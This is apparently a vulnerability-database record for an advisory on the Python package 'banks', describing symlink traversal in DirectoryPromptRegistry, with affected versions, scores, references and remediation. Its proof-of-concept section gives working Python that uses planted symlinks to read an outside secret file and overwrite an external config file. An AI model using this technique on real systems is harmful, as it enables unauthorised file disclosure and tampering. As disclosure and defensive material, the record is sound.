{"schema":"threatline.record/2","record":{"id":"CVE-2026-107716","aliases":["GHSA-556j-vv39-8rqv","PYSEC-2026-4201"],"summary":"Banks: Symlink traversal and arbitrary file disclosure/overwrite in DirectoryPromptRegistry","details":"### Summary\nIn `banks.registries.DirectoryPromptRegistry`, prompt file paths and the index file (`index.json`) do not refuse symbolic links. When a prompt directory contains or accepts untrusted files (e.g. unpacked archives, shared repositories, or multi-tenant folders), symbolic links pointing outside the registry root can be used to disclose arbitrary files via `_scan()` / `get()` or overwrite arbitrary files via `set()` / `_save()`.\n\n### Details\nFollowing PR #77, `DirectoryPromptRegistry` validates path resolution for prompt names. However:\n1. `self._index_path` (`index.json`) is not checked for symbolic links. A symlink pointing to an external target (e.g. a configuration file) will be overwritten by `_save()` upon `reg.set()`, or read via `_load()`.\n2. In `_scan()`, discovered `.jinja` files are opened and indexed without checking if `path.is_symlink()` or if the resolved path escapes the registry root. A symlink pointing to a sensitive file outside the root is read and indexed.\n3. In `set()`, `prompt_file.write_text(...)` is called without checking if `prompt_file` is an existing symbolic link pointing outside the root.\n\n### Impact\nArbitrary file disclosure (CWE-59 / CWE-200) and arbitrary file overwrite (CWE-59) in applications where prompt directories can be influenced by untrusted users or extracted from archives.\n\n### Proof of Concept\n```python\nimport os\nfrom pathlib import Path\nfrom banks.registries.directory import DirectoryPromptRegistry, DEFAULT_INDEX_NAME\nfrom banks.prompt import Prompt\n\n# Disclose external file via symlink in prompt directory\nreg_dir = Path(\"/tmp/registry\")\nreg_dir.mkdir(exist_ok=True)\nsecret = Path(\"/tmp/secret.txt\")\nsecret.write_text(\"SECRET_API_TOKEN\")\n\nos.symlink(secret, reg_dir / \"leak.0.jinja\")\nreg = DirectoryPromptRegistry(reg_dir, force_reindex=True)\nprint(\"Disclosed content:\", reg.get(name=\"leak\", version=\"0\").raw)\n\n# Overwrite external file via symlink index\ntarget = Path(\"/tmp/target.conf\")\ntarget.write_text(\"ORIGINAL\")\n(reg_dir / DEFAULT_INDEX_NAME).unlink(missing_ok=True)\nos.symlink(target, reg_dir / DEFAULT_INDEX_NAME)\nreg.set(prompt=Prompt(\"pwn\", name=\"test\", version=\"1\"))\nprint(\"Target overwritten:\", target.read_text())\n```\n\n### Remediation\n1. In `_validate_index_path()`: verify `_index_path` is not a symlink and resolves within `_path`.\n2. In `_scan()`: reject `path.is_symlink()` and check `path.resolve().is_relative_to(root)`.\n3. In `set()`: reject existing symbolic links before writing.\n\nA tested fix and regression tests have been prepared and pushed to:\nhttps://github.com/jankesec/banks/tree/fix-directory-registry-symlinks-and-nesting","categories":["Libraries & packages"],"product":"banks","vendor":"masci","ecosystem":"pip","affected_ranges":[{"source":"GitHub Advisory Database","source_url":"https://github.com/advisories/GHSA-556j-vv39-8rqv","source_modified_at":"2026-10-08T22:10:07Z","fetched_at":"2026-10-23T18:42:43.628194Z","package":{"ecosystem":"pip","name":"banks"},"range":"<= 2.5.0"},{"source":"CVE List","source_url":"https://www.cve.org/CVERecord?id=CVE-2026-107716","source_modified_at":"2026-10-09T15:13:19.781Z","fetched_at":"2026-10-23T18:45:31.882637Z","product":"banks","vendor":"masci","versions":[{"version":"< 2.5.1","status":"affected"}],"defaultStatus":null},{"source":"OSV","source_url":"https://osv.dev/vulnerability/GHSA-556j-vv39-8rqv","source_modified_at":"2026-10-15T14:55:55.950976679Z","fetched_at":"2026-10-23T18:45:31.882637Z","package":{"name":"banks","ecosystem":"PyPI","purl":"pkg:pypi/banks"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"2.5.1"}]}],"versions":["0.0.1","0.0.2","0.0.3","0.1.0","0.1.1","0.2.0","0.3.0","0.3.1","0.4.1","0.5.0","0.6.0","1.0.0","1.1.0","1.2.0","1.2.1","1.3.0","1.4.0","1.5.0","1.6.0","1.6.1","1.7.0","1.7.1","1.8.0","2.0.0","2.1.0","2.1.1","2.1.2","2.1.3","2.2.0","2.3.0","2.4.0","2.4.1","2.4.2","2.4.3","2.4.4","2.4.5","2.5.0"]}],"fixed_versions":[{"source":"GitHub Advisory Database","source_url":"https://github.com/advisories/GHSA-556j-vv39-8rqv","source_modified_at":"2026-10-08T22:10:07Z","fetched_at":"2026-10-23T18:42:43.628194Z","package":{"ecosystem":"pip","name":"banks"},"version":"2.5.1"},{"source":"OSV","source_url":"https://osv.dev/vulnerability/GHSA-556j-vv39-8rqv","source_modified_at":"2026-10-15T14:55:55.950976679Z","fetched_at":"2026-10-23T18:45:31.882637Z","package":{"name":"banks","ecosystem":"PyPI","purl":"pkg:pypi/banks"},"version":"2.5.1"}],"cvss":7.3,"severity":"High","kev":{"listed":false},"epss":{"probability":0.00134,"percentile":0.02662,"score_date":"2026-10-23"},"published_at":"2026-10-08T21:33:13.391Z","modified_at":"2026-10-15T14:55:55.950976679Z","provenance":[{"source":"GitHub Advisory Database","url":"https://github.com/advisories/GHSA-556j-vv39-8rqv","fetched_at":"2026-10-23T18:42:43.628194Z","source_modified_at":"2026-10-08T22:10:07Z"},{"source":"CVE List","url":"https://www.cve.org/CVERecord?id=CVE-2026-107716","fetched_at":"2026-10-23T18:45:31.882637Z","source_modified_at":"2026-10-09T15:13:19.781Z"},{"source":"OSV","url":"https://osv.dev/vulnerability/GHSA-556j-vv39-8rqv","fetched_at":"2026-10-23T18:45:31.882637Z","source_modified_at":"2026-10-15T14:55:55.950976679Z"},{"source":"EPSS","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-107716","fetched_at":"2026-10-23T18:42:43.628194Z","source_modified_at":"2026-10-23"}],"sources":["GitHub Advisory Database","CVE List","OSV","EPSS"],"references":[{"source":"CVE List","url":"https://github.com/masci/banks/security/advisories/GHSA-556j-vv39-8rqv","tags":["x_refsource_CONFIRM"]},{"source":"CVE List","url":"https://github.com/masci/banks/pull/79","tags":["x_refsource_MISC"]},{"source":"CVE List","url":"https://github.com/masci/banks/commit/23ed13e50b4e217693fa5f9c30943fac8a41582f","tags":["x_refsource_MISC"]},{"source":"CVE List","url":"https://github.com/masci/banks/releases/tag/v2.5.1","tags":["x_refsource_MISC"]},{"url":"https://github.com/advisories/GHSA-556j-vv39-8rqv","source":"GitHub Advisory Database"}],"locations":[],"motoko_assessment":{"status":"requires_architecture_review","automatic_remediation":false},"cve_state":"PUBLISHED","cvss_source":"CVE List","ssvc":{"exploitation":"none","automatable":"no","technical_impact":"partial","assessed_at":"2026-10-09T14:54:57.852402Z"},"classification":{"method":"product-first software-layer rules","rules_version":"2.1","matched_on":"ecosystem","confidence":"heuristic","reviewed":false},"change_timestamp":"2026-10-15T14:55:55.950976679Z","content_hash":"bf7118fd4a8f91b6e3375ad51438c743c8e39933257a45864aea9bd90088a53e"}}
